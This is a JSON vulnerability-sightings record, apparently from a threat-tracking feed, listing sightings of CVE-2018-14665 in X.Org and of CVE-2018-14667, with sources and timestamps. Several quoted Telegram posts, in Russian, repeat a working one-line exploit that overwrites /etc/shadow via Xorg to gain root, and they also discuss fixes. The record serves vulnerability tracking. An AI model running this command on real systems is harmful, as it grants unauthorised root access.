{"vulnerability": "CVE-2018-1466", "sightings": [{"uuid": "61ca2694-c282-4a29-b69e-1156b51bf01b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "MISP/5bd74cc8-7854-4ae5-8883-659b0a021402", "content": "", "creation_timestamp": "2018-10-29T18:11:46.000000Z"}, {"uuid": "e8b739c6-f3b7-4bba-a8d7-99d1e5df2591", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-09-28T18:10:02.000000Z"}, {"uuid": "d875e3b1-5a98-4c0f-9165-16b116f30078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "exploited", "source": "https://www.exploit-db.com/exploits/47701", "content": "", "creation_timestamp": "2019-11-20T00:00:00.000000Z"}, {"uuid": "89ddbd65-5c06-418b-ace8-7cc26ca4e37f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "exploited", "source": "https://www.exploit-db.com/exploits/45908", "content": "", "creation_timestamp": "2018-11-26T00:00:00.000000Z"}, {"uuid": "fd060b1a-87e2-4d61-a48e-81476b8fe143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971892", "content": "", "creation_timestamp": "2024-12-24T20:35:19.675096Z"}, {"uuid": "95c056b4-5c17-4dad-a995-02756f3d13b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:43.000000Z"}, {"uuid": "67361ad7-90bf-4944-a7f3-ab1c292fbfd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:04.000000Z"}, {"uuid": "bfcc971b-420b-4efa-86d9-08272daa19cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:47.000000Z"}, {"uuid": "6f8c9cd2-50c7-447c-863d-c011671ffd61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/aix/local/xorg_x11_server.rb", "content": "", "creation_timestamp": "2019-11-11T21:55:53.000000Z"}, {"uuid": "978e76f1-be5a-4f35-ba6c-b280dd733ef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:01.000000Z"}, {"uuid": "954883dc-fbfb-4130-ba4a-ef39f192392e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/local/xorg_x11_suid_server.rb", "content": "", "creation_timestamp": "2018-11-22T02:32:22.000000Z"}, {"uuid": "f301dc0d-d0b2-4083-a4d9-7ce46a1d94cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/local/xorg_x11_suid_server_modulepath.rb", "content": "", "creation_timestamp": "2019-10-22T19:19:32.000000Z"}, {"uuid": "e3b2f3e4-0bd0-4c96-9cd1-b5ab2d8e6ff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2018-14667", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f21bce52-5915-454e-a7a1-3beccf32d861", "content": "", "creation_timestamp": "2026-02-02T12:26:49.684030Z"}, {"uuid": "f14eadbc-2528-401d-9028-2145132e7f1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "published-proof-of-concept", "source": "https://t.me/antichat/2436", "content": "#CVE-2018-14665 - a LPE exploit via X.org fits in a tweet\n\ncd /etc; Xorg -fp \"root::16431:0:99999:7:::\"  -logfile shadow  :1;su\n\nOverwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected", "creation_timestamp": "2018-10-25T19:18:00.000000Z"}, {"uuid": "4e85e1eb-1ea8-4c5b-bbb5-244098049b30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "published-proof-of-concept", "source": "https://t.me/antichat/2470", "content": "#linux #exploit #\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f #\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\n\n\u0412 \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0435 \u043f\u043b\u043e\u0445\u043e\u043c\u0443 \u043d\u0435 \u043d\u0430\u0443\u0447\u0430\u0442\n\n\u0411\u044b\u0441\u0442\u0440\u043e \u043d\u0430\u0431\u0440\u0430\u0432\u0448\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2018-14665 \u0432 X.Org Server \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0443 Xorg \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0431\u0438\u0442 setuid. \u0412 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445 \u043e\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0438\u043b\u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d. \n\n\u0415\u0441\u043b\u0438 \u0436\u0435 setuid \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d, \u0442\u043e \u0438\u0433\u0440\u0430\u0435\u0442 \u0440\u043e\u043b\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 -modulepath \u0438 -logfile. \u041f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u0412\u0442\u043e\u0440\u043e\u0439 - \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b. \u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 -fp \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0443\u0442\u044c \u043a \u0448\u0440\u0438\u0444\u0442\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0442\u0443\u0442 \u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0432 \u043b\u043e\u0433\u0444\u0430\u0439\u043b. \u041e\u0442\u0441\u044e\u0434\u0430 \u043f\u0435\u0440\u0432\u044b\u0439, \"\u0431\u0430\u0437\u043e\u0432\u044b\u0439\" \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0441 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c\u044e shadow:\n\ncd /etc; Xorg -fp \"root::16431:0:99999:7:::\"  -logfile shadow  :1;su\n\n\u0414\u0440\u0443\u0433\u043e\u0439, \u0431\u0435\u0437 \u0438\u0441\u043f\u043e\u0433\u0430\u043d\u0438\u0432\u0430\u043d\u0438\u044f shadow, \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u0430 \u0447\u0435\u0440\u0435\u0437 ld-linux.so: https://gist.github.com/0x27/d8aae5de44ed385ff2a3d80196907850\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0440\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 1.19.0 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 1.20.3. \u041f\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c SUID-\u0431\u0438\u0442, \u0438\u043c\u0435\u044f \u0432 \u0432\u0438\u0434\u0443, \u0447\u0442\u043e \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0448\u0438\u0431\u043a\u0430\u043c \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0447\u0435\u0440\u0435\u0437 xinit \u0438\u043b\u0438 startx.", "creation_timestamp": "2018-10-30T13:23:19.000000Z"}, {"uuid": "db8f05ab-13b3-41cb-b0aa-350696591037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "published-proof-of-concept", "source": "https://t.me/antichat/2445", "content": "\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2018-14665 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 OpenBSD \u0438 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux (\u0432\u043a\u043b\u044e\u0447\u0430\u044f Debian, Ubuntu, Red Hat, Fedora), \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a: \n\ncd /etc; Xorg -fp \"root::16431:0:99999:7:::\"  -logfile shadow  :1;su\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 (\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0441\u0441\u0438\u044e SSH) \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n\u0411\u043e\u043b\u044c\u0448\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0443\u0442: \nhttps://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html\n\u0438 \u0442\u0443\u0442\nhttps://lists.x.org/archives/xorg-announce/2018-October/002927.html\n\n\u0423 OpenBSD \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0444\u0438\u043a\u0441, \u0434\u043b\u044f \u0432\u0430\u0448\u0438\u0445 \u043b\u044e\u0431\u0438\u043c\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u043b\u0438\u043d\u0443\u043a\u0441\u043e\u0432 \u0441\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u0430\u043f\u0434\u0435\u0439\u0442\u0430\u043c\u0438 \u0443 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432.", "creation_timestamp": "2018-10-26T18:58:10.000000Z"}, {"uuid": "c4fb69ba-9e14-4b8d-9898-ccb4aa818308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "https://t.me/antichat/2437", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0440\u0435\u043b\u0438\u0437 X.Org Server 1.20.3, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2018-14665), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u0444\u0430\u0439\u043b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 X-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u043a\u043e\u0433\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b x-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0431\u0438\u0442\u043e\u043c setuid root \u0438 \u043b\u044e\u0431\u043e\u0439 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c x-\u0441\u0435\u0440\u0432\u0435\u0440).\n\n\u0421\u0443\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 X-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0443\u0442\u044c \u043a \u043c\u043e\u0434\u0443\u043b\u044f\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043e\u043f\u0446\u0438\u0438 \"-modulepath\" \u0438 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u0434\u043e \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root. \u0412\u0442\u043e\u0440\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0442\u0430\u043a\u0438 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u043f\u0446\u0438\u0438 \"-logfile\", \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432\u044b\u0432\u043e\u0434 \u043b\u043e\u0433\u0430 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0444\u0430\u0439\u043b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0436\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430 \"-logfile\" \u0444\u0430\u0439\u043b /etc/shadow \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0442\u044c \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435, \u0437\u0430\u043c\u0435\u043d\u0438\u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 \u0445\u044d\u0448\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0414\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043d\u0443\u0436\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0444\u0430\u0439\u043b /etc/shadow \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u043f\u0446\u0438\u044e \"-fp\", \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043b\u043e\u0433.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u044b \u043e\u0448\u0438\u0431\u043a\u043e\u0439, \u0432\u043d\u0435\u0441\u0451\u043d\u043d\u043e\u0439 \u043f\u0440\u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0435 \u0432\u0435\u0442\u043a\u0438 xorg-server 1.19.0 \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0435\u0439 \u043a \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043e\u043f\u0446\u0438\u0439. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0431\u0440\u0430\u0442\u044c \u0444\u043b\u0430\u0433 suid \u0441 \u0444\u0430\u0439\u043b\u0430 /usr/bin/Xorg \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0438\u0441\u043f\u043b\u0435\u0439\u043d\u044b\u0439 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u0435\u0430\u043d\u0441\u0430. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 RHEL 7.5 \u0438 Fedora, \u043d\u043e \u0438\u0437-\u0437\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 PAM \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 (\u0447\u0435\u0440\u0435\u0437 SSH \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f). \u0412 Ubuntu \u0438 SUSE 12+/openSUSE 42+ \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f, \u0442\u0430\u043a \u043a\u0430\u043a \u0442\u0430\u043c \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0431\u0438\u0442 setuid (\u0432 SUSE 11 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442).", "creation_timestamp": "2018-10-25T19:19:27.000000Z"}, {"uuid": "ed3f6743-917a-4769-bbaa-b83fbc7e3f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "published-proof-of-concept", "source": "https://t.me/alexmakus/2484", "content": "\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2018-14665 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 OpenBSD \u0438 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux (\u0432\u043a\u043b\u044e\u0447\u0430\u044f Debian, Ubuntu, Red Hat, Fedora), \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a: \n\ncd /etc; Xorg -fp \"root::16431:0:99999:7:::\"  -logfile shadow  :1;su\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 (\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0441\u0441\u0438\u044e SSH) \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n\u0411\u043e\u043b\u044c\u0448\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0443\u0442: \nhttps://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html\n\u0438 \u0442\u0443\u0442\nhttps://lists.x.org/archives/xorg-announce/2018-October/002927.html\n\n\u0423 OpenBSD \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0444\u0438\u043a\u0441, \u0434\u043b\u044f \u0432\u0430\u0448\u0438\u0445 \u043b\u044e\u0431\u0438\u043c\u044b\u0445 